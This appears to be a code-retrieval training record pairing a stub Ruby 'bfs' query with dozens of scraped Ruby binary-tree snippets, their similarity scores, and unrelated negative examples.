"def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end",
"def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend",
"def tree_by_levels(node)\n return [] if node.nil?\n queue = [node]\n visited = []\n while !queue.empty?\n node = queue.shift\n visited << node.value\n [node.left, node.right].each do |child|\n queue << child if child\n end\n end\n visited\nend",
"def size\n return @tree.size\n end",
"def build_tree(tree_size, input)\n nodes = Array.new(tree_size) { Node.new(nil, nil, nil) }\n\n tree_size.times do |i|\n line = input.next\n val, left, right = line.chomp.split.map(&:to_i)\n nodes[i].val = val\n nodes[i].left = nodes[left] unless left == -1\n nodes[i].right = nodes[right] unless right == -1\n end\n \n nodes.first\nend",
"def build_tree_unsorted(array)\n array.each_index{ |index|\n\n }\nend",
"def build_tree(array)\n array.sort!.uniq!\n left = 0\n right = array.length\n\n return build_driver(array, left, right)\n end",
"def build_tree(input_array)\n sorted_set = input_array.sort.uniq\n build_tree_aux(sorted_set, 0, sorted_set.length - 1)\n end",
"def build_tree(arr, root, i, n)\n\tif i < n\n\t\troot = TreeNode.new(arr[i])\n\t\troot.left = build_tree(arr, root.left, i*2+1, n)\n\t\troot.right = build_tree(arr, root.right, i*2+2, n)\n\tend\n\treturn root\nend",
"def dfs(root, depth)\n return if root.nil?\n @f[depth] = @f[depth].to_i + root.val\n dfs(root.left, depth + 1) if root.left\n dfs(root.right, depth + 1) if root.right\nend",
"def build_tree(array)\n first_node = Node.new(nil, nil, array[0])\n this_node = first_node\n i = 1\n\n finished = false\n while !finished\n if array[i] == nil\n finished = true\n elsif array[i] < this_node.data\n if this_node.left_child == nil\n this_node.left_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.left_child\n end\n elsif array[i] > this_node.data\n if this_node.right_child == nil\n this_node.right_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.right_child\n end \n elsif array[i] == this_node.data\n i += 1\n end\n end\n return first_node\nend",
"def tree\n @tree ||= build_tree\n end",
"def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def dfs(root)\n return if root.nil?\n @stack << root\n @hash[root] = [root.val]\n @stack.each do |node|\n @hash[node] << root.left&.val\n @hash[node] << root.right&.val\n end\n dfs(root.left)\n dfs(root.right)\n @stack.pop\nend",
"def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend",
"def build_tree(s)\n bytes = s.bytes\n uniq_b = bytes.uniq\n nodes = uniq_b.map { |byte| Leaf.new(byte, bytes.count(byte)) }\n until nodes.length == 1\n node1 = nodes.delete(nodes.min_by(&:count))\n node2 = nodes.delete(nodes.min_by(&:count))\n nodes << Node.new(node1, node2, node1.count + node2.count)\n end\n nodes.fetch(0)\nend",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def build_tree(list)\n root = Node.new(list[0], nil)\n list[1...list.length].each do |item|\n current_node = root\n while !item.nil?\n if item > current_node.value\n if current_node.right_child.nil?\n current_node.right_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.right_child\n end\n elsif item < current_node.value\n if current_node.left_child.nil?\n current_node.left_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.left_child\n end\n else\n item = nil\n end\n end\n end\n root\nend",
"def challenge4\n\t@size = length(@rootNode)\n\tputs \"Challenge #4 solution: \"\n\tputs \"Number of nodes in tree: \" + @size.to_s\n\tputs \"-----------------------------------\"\nend",
"def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend",
"def calc_tree\n tree = []\n n = 1\n while n <= @n\n result = []\n result = [[0, 1]] if n == 1\n tree.each do |row|\n line1 = []\n line2 = []\n row.each_with_index do |elem, i|\n line1 << \"#{elem}0\" if i.positive?\n line2 << \"#{elem}0\" if i.zero?\n line2 << \"#{elem}1\"\n end\n result << line1 unless row.count == 1\n result << line2\n end\n tree = result\n n += 1\n end\n tree\n end",
"def dfs(root, sum, flag)\n return if root.nil?\n @count += 1 if root.val == sum\n dfs(root.left, sum - root.val, false)\n dfs(root.right, sum - root.val, false)\n if flag\n dfs(root.left, sum, true)\n dfs(root.right, sum, true)\n end\nend",
"def dfs_rec(tree, value)\n return nil if tree.nil?\n\n p tree.value\n return tree if tree.value == value\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\nend",
"def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend",
"def build_tree(data, node=self)\n data = data.sort\n build_bin_tree(data, 0, data.length - 1, node)\n end",
"def dfs_rec(tree, value)\n return nil if tree.nil?\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\n p tree.value\n return tree if tree.value == value\n\nend",
"def build_tree_arbitrary(arr)\n node = Node.new(arr[0])\n queue = [node]\n @root = node\n i = 0\n\n until queue.empty?\n node = queue.shift\n children = node_children(node, i, arr)\n queue.concat(children)\n i += 2\n end\n end",
"def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end",
"def sum_of_left_leaves(root)\nend",
"def optimize_depth_array()\n\n @root = @all_depths[0].first[1]\n\n # for each depth in tree\n @all_depths[1..@all_depths.length-1].each do |depth|\n # for each item in depth (could be node or array of nodes)\n depth.each do |sec_id, item|\n if (item.class == Node)\n node = item\n parent = get_parent(node.path)\n parent.add_child(node)\n else # item is array of nodes\n item.each do |node|\n parent = get_parent(node.path)\n parent.add_child(node)\n end\n end\n end\n end\n\n end",
"def dfs(root, result)\n return if root.nil?\n result << root.val if root.left.nil? && root.right.nil?\n dfs(root.left, result)\n dfs(root.right, result)\nend",
"def serialize_binary_search_tree_helper( node, nodes_array)\n \n if node.nil?\n return nil\n end\n \n s_node = Serilized_Node.new(node.value)\n \n nodes_array.push(s_node)\n node_index = nodes_array.size - 1 #the index of the sub tree root\n s_node.left_child_index = serialize_binary_search_tree_helper(node.left, nodes_array)\n s_node.right_child_index = serialize_binary_search_tree_helper(node.right, nodes_array)\n\n \n return node_index\nend",
"def sort_tree(node)\n if node.left\n @sorted_tree = sort_tree(node.left)\n end\n @sorted_tree << node.data\n if node.right\n @sorted_tree = sort_tree(node.right)\n end\n return @sorted_tree\n end",
"def n_ary_trees(range=2..2, minimize=true)\n raise \"Range parameter expected\" unless range.is_a? Range\n min = range.first.to_i\n raise \"minimum branches must be at least 2\" unless min > 1\n max = range.last.to_i\n max -= 1 if range.exclude_end?\n raise \"maximum branches less than minimum branches\" if max < min\n return [] if empty?\n\n # a lambda so we can do recursion without sticking private methods in Array\n\n # all n-way branches of a\n nwb = -> (a, n) do\n n = a.length if n > a.length\n if n == 1\n [a]\n else\n rv = []\n (1..( a.length - n + 1 )).each do |i|\n a1 = a[0...i]\n r = n - 1\n nwb.call( a[i..-1], r ).each do |branches|\n branches = [branches] if r == 1\n rv << [a1.dup] + branches\n end\n end\n rv\n end\n end\n\n # faux method for recursively making n-ary trees\n nt = -> (a) do\n if a.length <= min\n [a]\n else\n rv = []\n (min..( a.length < max ? a.length : max )).each do |branchiness|\n nwb.call( a, branchiness ).each do |part|\n head, *tail = part.map{ |a2| nt.call a2 }\n if tail.any?\n head = head.map{ |t| [t] }\n tail.each do |nxt|\n h = []\n head.each do |a1|\n nxt.each do |a2|\n h << a1 + [a2]\n end\n end\n head = h\n end\n end\n rv += head\n end\n end\n rv\n end\n end\n\n trees = nt.(self)\n\n if minimize\n m = -> (t) do\n if t.is_a? Array\n if t.length == 1\n m.call( t[0] )\n else\n t.map{ |t2| m.call t2 }\n end\n else\n t\n end\n end\n\n m.call trees\n else\n trees\n end\n end",
"def merge_trees(t1, t2)\n return t2 if t1 == nil\n return t1 if t2 == nil\n value = t1.val += t2.val\n new = TreeNode.new(value)\n new.left = merge_trees(t1.left, t2.left)\n new.right = merge_trees(t1.right, t2.right)\n return new\nend",
"def build_tree(arr)\n #take array, turn into bt with node objs\n return nil if arr.empty?\n\n mid = (arr.size - 1)/2\n current_node = Node.new(arr[mid])\n\n current_node.left = build_tree(arr[0...mid])\n current_node.right = build_tree(arr[(mid+1)..-1])\n \n current_node\n end",
"def find_height_nodes(root) # O(n)\n return 0 if root == nil\n left_height = 1 + find_height_nodes(root.left)\n right_height = 1 + find_height_nodes(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def heapify(index)\n left = @tree[left(index)]\n right = @tree[right(index)]\n current = @tree[index]\n if !left && !right # if no children exist nothing to compare with\n nil\n elsif left && !right\n if left.rating < current.rating\n temp = @tree[index]\n @tree[index] = @tree[left]\n @tree[left] = temp\n #no need to heapify at a leaf\n end\n elsif left.rating < current.rating || right.rating < current.rating\n if @tree[left].rating <= @tree[right].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[left]\n @tree[left] = temp\n heapify(left(index))\n elsif @tree[right].rating < @tree[left].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[right]\n @tree[right] = temp\n heapify(right(index))\n end\n end\n end",
"def func(node,subtree_node_index_in_array,subtree_begin_index,subtree_end_index)\n\tif subtree_begin_index == subtree_end_index\n\t\t#puts \"leaf node begin #{subtree_begin_index} and end #{subtree_end_index}\"\n\t\t#puts $inorder_array[subtree_begin_index]\n\telse\n\t\t$preorder_index = $preorder_index + 1\n\t\tleft_subtree_node_value = $preorder_array[$preorder_index]\n\t\tleft_subtree_node_index_in_array = find_index_of_value_in_in_array(left_subtree_node_value,subtree_begin_index,subtree_node_index_in_array - 1)\n\t\tleft_node = Btnode.new($inorder_array[left_subtree_node_index_in_array])\n\t\tnode.left = left_node\n\t\tfunc(left_node,left_subtree_node_index_in_array,subtree_begin_index,subtree_node_index_in_array - 1 )\n\t\t#puts \"subtree node at #{$inorder_array[subtree_node_index_in_array]}\"\n\t\t#puts $inorder_array[subtree_node_index_in_array]\n\t\t$preorder_index = $preorder_index + 1\n\t\tright_subtree_node_value = $preorder_array[$preorder_index]\n\t\tright_subtree_node_index_in_array = find_index_of_value_in_in_array(right_subtree_node_value,subtree_node_index_in_array + 1,subtree_end_index)\n\t\tright_node = Btnode.new($inorder_array[right_subtree_node_index_in_array]) \n\t\tnode.right = right_node\n\t\tfunc(right_node,right_subtree_node_index_in_array,subtree_node_index_in_array + 1,subtree_end_index)\n\tend\nend",
"def generate_tree\n root =\tTreeNode.new(3)\n root.left =\tTreeNode.new(9)\n right = \t\tTreeNode.new(20)\n right.left = \tTreeNode.new(15)\n right.right = TreeNode.new(7)\n root.right = \tright\n root\nend",
"def tes_gettree\n tree = []\n Accounts.matches_by_account_id(0).to_a.each { |a|\n a.get_tree { |b| tree.push b.rev_index }\n }\n tree_d = []\n Accounts.matches_by_account_id(0).to_a.each { |a|\n a.get_tree_debug { |b| tree_d.push b.rev_index }\n }\n\n assert_equal 389, tree.count\n assert_equal 389, tree_d.count\n end",
"def find_smallest_sum(node)\n # traverse entire tree and keep track of smallest sums and return that sum\n # DFS\n return node.value if node.children.empty? # base case\n\n min_sum = Integer::MAX\n\n node.children.each do |child|\n sum = node.value + find_smallest_sum(child)\n min_sum = Math.min(sum, min_sum)\n end\n\n return min_sum\n\nend",
"def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end",
"def symmetric_tree(arr)\n rows = Hash.new([])\n n = 0\n until arr.empty?\n (2**n).times { rows[n] += [arr.shift] }\n n += 1\n end\n rows.values.each do |row|\n return false unless row == row.reverse\n end\n true\nend",
"def build_tree(arr)\n if arr.empty?\n return nil\n end\n\n mid = arr.length/2\n root = Node.new(arr[mid])\n\n root.left = build_tree(arr[0...mid])\n root.right = build_tree(arr[(mid+1)..-1])\n\n root\nend",
"def find_target(root, k)\n return nil if root == nil\n hash = Set.new([])\n queue = [root]\n \n while !queue.empty?\n node = queue.shift\n \n return true if hash.include?(node.val)\n \n hash.add(k-node.val)\n \n if node.left; queue.push(node.left) end\n if node.right; queue.push(node.right) end\n end\n \n return false\nend",
"def mk_tree(ch_arr)\n\t# set up top node based on smallest 2 values\n\ttop = Node.new # initial top node; no values yet\n\tmins = min_vals(ch_arr, 2)\n\tputs mins[0], mins[1]\n\tputs ch_arr[mins[0]]\n\tputs ch_arr[mins[1]]\n\ttop.set_left(Node.new(ch_arr[mins[0]], mins[0]))\n\ttop.set_right(Node.new(ch_arr[mins[1]], mins[1]))\n\ttop.set_count(ch_arr[mins[0]] + ch_arr[mins[1]])\n\tch_arr.delete(mins[0])\n\tch_arr.delete(mins[1])\n\t# build tree based upon current top node and next smallest value; repeat until no values left in hash\n\twhile(ch_arr.length >= 1)\n\t\ttemp = Node.new # temporary new node; this will become the top node\n\t\tmin = min_vals(ch_arr, 1)\n\t\tputs min\n\t\tputs ch_arr[min]\n\t\t# if top node's value is less than lowest number, put it on left; otherwise, put it on right\n\t\t#puts top.get_count, ch_arr[min]\n\t\tif(top.get_count <= ch_arr[min])\n\t\t\ttemp.set_left(top)\n\t\t\ttemp.set_right(Node.new(ch_arr[min], min))\n\t\telse\n\t\t\ttemp.set_left(Node.new(ch_arr[min], min))\n\t\t\ttemp.set_right(top)\n\t\tend\n\t\ttemp.set_count(ch_arr[min] + top.get_count)\n\t\ttop = temp\n\t\tch_arr.delete(min)\n\tend\n\t# return reference to top node\n\treturn top\nend",
"def length\n @tree.length\n end",
"def test_add_third_node_to_left\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n movie_b = tree.insert(40, \"movie b\")\n movie_c = tree.insert(30, \"movie c\")\n assert_equal 2, tree.root.left_node.left_node.depth\n end",
"def full_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n full_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n full_nodes_count += 1 if node.left && node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n full_nodes_count\n end",
"def binary_tree_inorder_iterative(root)\n return if root.nil?\n\n stack = Array.new\n\n while (stack.length != 0 || root)\n if root\n stack.push(root)\n root = root.left\n else\n root = stack.pop()\n print \"#{root.value} \"\n root = root.right\n end\n end\nend",
"def print_tree(n, i = 0)\n i.times { print \" \" }\n puts \"+-#{n}\"\n $classtree[n].sort.each { |c| print_tree(c, i+2) }\nend",
"def build_tree_helper(arr)\n\treturn Node.new(arr[0]) if arr.size == 1\n\tnode = Node.new(arr.slice!(arr.size / 2))\n\ttree = build_tree(arr)\n\tuntil (node.value > tree.value && tree.right_child.nil?) || (node.value <= tree.value && tree.left_child.nil?)\n\t\ttree = node.value > tree.value ? tree.right_child : tree.left_child\n\tend\n\tif node.value > tree.value\n\t\ttree.right_child = node\n\t\tnode.parent = tree\n\telse\n\t\ttree.left_child = node\n\t\tnode.parent = tree\n\tend\nend",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def build_tree(ary)\n # If the array is sorted, the tree will not be balanced\n ary.shuffle!\n ary.each { |item| insert(item) }\n end",
"def find(node, k)\n return [] if node.nil?\n return [node] if node == k\n left = find(node.left, k)\n return [node] + left if left && left.length > 0\n right = find(node.right, k)\n return [node] + right if right && right.length > 0\nend",
"def cutTree(array)\n if array.sort == array\n return array.length\n end\n array_copied = array.dup\n i = 0\n count = 0\n while i <= array.length\n array = array_copied.dup\n array.delete_at(i)\n if (array == array.sort)\n count += 1\n end\n i += 1\n end\n return count\nend",
"def half_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n half_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n half_nodes_count += 1 if ((node.left && !node.right) || (!node.left && node.right))\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n half_nodes_count\n end",
"def inorder(root)\n return if root.nil?\n inorder(root.left)\n @hash[root.val] ||= 0\n @hash[root.val] += 1\n inorder(root.right)\nend",
"def topologies(n, cache = {})\n cache[n] =\n n == 0 ? 1 : (0..n-1).inject(0){ |sum, i| \\\n sum + topologies(i, cache) * topologies(n-i-1, cache) } unless cache.has_key? n\n cache[n]\nend",
"def display_tree(an_array)\r\n an_array.length\r\n count = 1\r\n (count - 1).upto(count) do\r\n end\r\nend",
"def delete_zero_sum_sub_trees(root)\n return 0 if root.nil?\n\n left = right = 0\n\n left = delete_zero_sum_sub_trees(root.left)\n right = delete_zero_sum_sub_trees(root.right)\n\n if left == 0\n root.left = nil\n end\n\n if right == 0\n root.right = nil\n end\n\n sum = root.value + left + right\n\n return sum\nend",
"def in_order_traversal(tree_node, arr = [])\n return arr if tree_node == nil\n\n arr = in_order_traversal(tree_node.right, arr)\n arr << tree_node\n arr = in_order_traversal(tree_node.left, arr)\n\n arr\nend",
"def sort_tree(tree)\n root = tree && tree[:root]\n if root == nil\n return []\n end\n arr1 = sort_tree(tree[:left])\n arr2 = sort_tree(tree[:right])\n return arr1 + [root] + arr2\nend",
"def dfs_recursive(query, node=@tree) \n return nil if node.nil?\n return node if query == node.value\n\n# left search equals if the left child is not nil then call the method with target & left child node parameters, otherwise is nil\n left_search = node.left_child != nil ? dfs_recursive(query, node.left_child) : nil\n\n# return if left search does not result in nil\n return left_search if left_search != nil\n right_search = node.right_child != nil ? dfs_recursive(query, node.right_child) : nil\n return right_search if right_search != nil \n end",
"def in_order(node = root, array = [])\n return if node.nil?\n\n in_order(node.left, array) # traverse the whole left tree first\n array << node.data # then push the node into the array when it reaches the leaf node\n in_order(node.right, array) # then traverse the whole right tree\n array\n end",
"def build_tree(data_array)\n root = nil\n \n data_array.each do |elem|\n cur_node = root\n \n node = Node.new(elem)\n\tnode.children = Array.new(2, nil)\n\t\n\twhile !cur_node.nil?\n\t if elem < cur_node.value\n\t if cur_node.children[0].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[0] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[0]\n\t else\n\t if cur_node.children[1].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[1] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[1]\n\t end\n\tend\n\t\n\troot ||= node\n\t \n end\n \n root\nend",
"def bfs\n # this is 'really' a traversal, but this type of search is similar to what we'll be doing with graphs and it's called 'breadth first search'\n list = []\n return list if @root.nil?\n queue = [@root]\n\n until queue.empty?\n # big O of shift is O(n)\n current = queue.shift\n # how to check if current has a left subtree?\n queue.push(current.left) unless current.left.nil?\n queue.push(current.right) unless current.right.nil?\n\n list << { key: current.key, value: current.value}\n end\n end",
"def DFS(root, target)\n ## base case: \n return nil if root.nil?\n return root if root.value == target\n ##indecutive step: \n ## DFS on the left side then DFS on the right side \n root.children.each do |child|\n search_result = DFS(child, target) ## better to save the actual value then check the value then return nil\n return search_result unless search_result.nil?\n end \n return nil\nend",
"def bfs(root)\n # NOTE implement real queue for performance\n queue = []\n root.marked = true\n queue.push(root)\n\n while !queue.empty?\n node = queue.shift\n node.visit\n\n node.adjacent.each do |node|\n if node.marked == false\n node.marked = true\n queue.push(node)\n end\n end\n end\nend",
"def build_tree(array)\n tree = TreeNode.new(array[0], 0)\n (1..array.length-1).each {|i|\n insert_into_tree(tree, array[i], i)\n }\n tree\nend",
"def sum_root_to_leaf_paths(tree)\n stack = [tree]\n result = []\n hash = Hash.new\n\n until stack.empty?\n node = stack.pop\n\n if !node.left && !node.right\n pointer = node\n array = [node.val]\n until !hash[pointer]\n array.unshift(hash[pointer].val) \n pointer = hash[pointer]\n end\n result << array\n end\n\n if node.right\n stack.push(node.right) \n hash[node.right] = node\n end\n if node.left\n stack.push(node.left)\n hash[node.left] = node\n end\n end\n\n return result.map { |i| i.join.to_i(2) }.reduce(:+)\nend",
"def inorder_traversal_i(root)\n # declare a queue (Stack)'\n # declare an array variable\n # until root.value.nil? \n # push all the left nodes to the stack\n # once reach to root.value, push stack value to array \n arr = []\n stack = Queue.new \n currentNode = root\n while (!currentNode.nil? || !stack.empty?)\n while !currentNode.nil?\n stack.push(currentNode)\n currentNode = root.left\n end \n currentNode = stack.pop \n arr.push(currentNode.val)\n currentNode = currentNode.right \n end \n return arr\n\nend",
"def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend",
"def rebalance!\n # Short-circut if already balanced.\n return @root if balanced?\n\n @root = build_tree(inorder)\n end",
"def test_depth_of_method_returns_nil\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n assert_nil tree.depth_of(35)\n end",
"def inorder_traversal(root)\n #Base: when root is at the end\n return [] if root.nil?\n #Declare empty array\n result = []\n #push recursive call of root.left\n result.concat(inorder_traversal(root.left))\n #push root vale itself\n result << root.val\n #push recursive call of root.right\n result.concat(inorder_traversal(root.right))\n # return result \n result\nend",
"def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend",
"def dfs(node ,max)\n return if node.nil?\n if node.val >= max\n @count += 1\n max = node.val\n end\n dfs(node.left, max)\n dfs(node.right, max)\nend",
"def test_add_third_node_to_right\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n movie_b = tree.insert(60, \"movie b\")\n movie_c = tree.insert(70, \"movie c\")\n assert_equal 2, tree.root.right_node.right_node.depth\n end",
"def bfs\n q = []\n list = []\n\n return [] if @root.nil?\n\n current_node = @root\n \n q.push(current_node)\n # put current node into queue\n while q.length != 0\n # put current node into list and delete from queue\n # add current node's children into the queue\n list.push({key: q[0].key, value: q[0].value})\n q.shift\n \n if current_node.left != nil \n q.push(current_node.left) \n end \n\n if current_node.right != nil \n q.push(current_node.right)\n end\n current_node = q[0] \n end \n\n return list\n end",
"def level_order(root)\n res = []\n return res if root.nil?\n queue = [root]\n tmp = [root.val]\n until queue.empty?\n res << tmp\n parent = queue\n queue = []\n tmp = []\n parent.each do |nodes|\n queue << nodes.left unless nodes.left.nil?\n queue << nodes.right unless nodes.right.nil?\n tmp << nodes.left.val unless nodes.left.nil?\n tmp << nodes.right.val unless nodes.right.nil?\n end\n end\n res\nend",
"def check_subtree(tree1, tree2)\n # due to the depth of T1 being much larger than T2 a BFS seems more logical\n bfs(tree1.head, tree2,head)\nend"
] | [
"0.6786363",
"0.66091007",
"0.654648",
"0.64906996",
"0.63324195",
"0.631474",
"0.6311323",
"0.62905467",
"0.6260417",
"0.62435657",
"0.62393785",
"0.6217167",
"0.6211852",
"0.62116235",
"0.6201892",
"0.6165161",
"0.61636305",
"0.6162185",
"0.6157415",
"0.6122844",
"0.6114833",
"0.61143416",
"0.6108659",
"0.6101295",
"0.60914916",
"0.6090026",
"0.60715324",
"0.60692286",
"0.60636747",
"0.60509723",
"0.6049253",
"0.6043023",
"0.6023776",
"0.6002307",
"0.59913105",
"0.59893835",
"0.59730005",
"0.5971608",
"0.59662074",
"0.5950584",
"0.594515",
"0.5943504",
"0.5932688",
"0.59230113",
"0.5920954",
"0.5920381",
"0.5915621",
"0.591536",
"0.59024936",
"0.58985406",
"0.5896749",
"0.58615196",
"0.5856008",
"0.5849189",
"0.5848075",
"0.5843665",
"0.583788",
"0.58246434",
"0.58135754",
"0.58133596",
"0.58102477",
"0.58089477",
"0.58036613",
"0.5803421",
"0.5794957",
"0.578081",
"0.57778937",
"0.5777384",
"0.57735044",
"0.5768158",
"0.57575923",
"0.57486767",
"0.57438743",
"0.5743254",
"0.5743047",
"0.5738956",
"0.572735",
"0.5725493",
"0.5721318",
"0.57197744",
"0.5719331",
"0.57071286",
"0.57061714",
"0.57045907",
"0.57024074",
"0.57013935",
"0.56934845",
"0.56928456",
"0.5692001",
"0.5682007",
"0.5681945",
"0.5679709",
"0.56779945",
"0.56734115",
"0.56668454",
"0.56628454",
"0.56570375",
"0.5656974",
"0.5650368",
"0.5648189",
"0.5646022"
] | 0.0 | -1 |
Optional Method Time Complexity: Space Complexity: | def bfs
return [] if @root.nil?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def optional; end",
"def maybe; end",
"def optional?\n @optional\n end",
"def optional?\n\t\t!required?\n\tend",
"def option(criteria = T.unsafe(nil)); end",
"def optimizable?\n super || !predicate.equal?(operation.predicate)\n end",
"def none?\n !any?\n end",
"def optional_positionals; end",
"def optional?\n not required\n end",
"def optimize\n left.ne(right.first)\n end",
"def solution(n)\n\tval = 0.0\n\tval += 1.0 unless n[0].zero?\n\tval += 2.0 unless n[1].zero?\n\tval += 4.0 unless n[2].zero?\n\tval += 8.0 unless n[3].zero?\n val\n\t\nend",
"def required?\n !optional?\n end",
"def probNull(bit)\n if bit == 1\n return @probNullVal\n else #bit == 0\n return @negProbNullVal\n end\nend",
"def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend",
"def solved?\n first_empty_index.nil? && legal?\n end",
"def solution(a)\n result = 0\n tmp_count = 0\n a.each_with_index do |val, idx|\n if val.zero?\n tmp_count += 1\n else\n result += tmp_count\n end\n end\n return result > 1000000000 ? -1 : result\nend",
"def optional?\n !!options[:optional]\n end",
"def unique_flag_negative?\n found_unique? ? @flags.first[2] : nil\n end",
"def maybe so, maybe: self\n maybe\n end",
"def func_none(hash)\n hash.none? {|key, value| value.nil?}\nend",
"def zero?()\n #This is a stub, used for indexing\n end",
"def or_nil\n get_or_else(nil)\n end",
"def optional_data optionals={}\n puts optionals[:some_data]\n puts optionals[:another_data]\n puts optionals[:another_one]\nend",
"def suitable_for_none?\n \treturn self.disciplines.empty?\n end",
"def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend",
"def two_sum_to_zero?(array)\n # len = array.length - 1\n # len.times do |i|\n # (i + 1).upto(len) do |j|\n # return true if array[i] + array[j] == 0\n # end\n # end\n # false\n nums_hash = {}\n array.each do |el|\n return true if nums_hash[-(el)]\n nums_hash[el] = true\n end\n false\nend",
"def m_ar_or_chain_1\n Rows.where(:x || :y)\n end",
"def auto_vivify?\n !fast?\n end",
"def _optional\n @optional & [*@opts[:extra_fields]].map(&:to_sym)\n end",
"def optional(*params)\n @optional = params unless params.empty?\n @optional ||= []\n end",
"def optional?\n @default || (@default.nil? && @optional)\n end",
"def nil?() end",
"def nil?() end",
"def optional\n @optional = true\n end",
"def has_one(line, opt = {})\n arg = opt.clone\n arg[:at_most] = nil\n arg[:at_least] = nil\n has(line, arg)\n end",
"def mem(key)\n nil == find(key)\n end",
"def nonzero?() end",
"def build_optionals?(opt)\n opt.each do |attr, value|\n return true unless value.blank?\n end\n\n return false\n end",
"def _reduce_none(val, _values, _result)\n val[0]\n end",
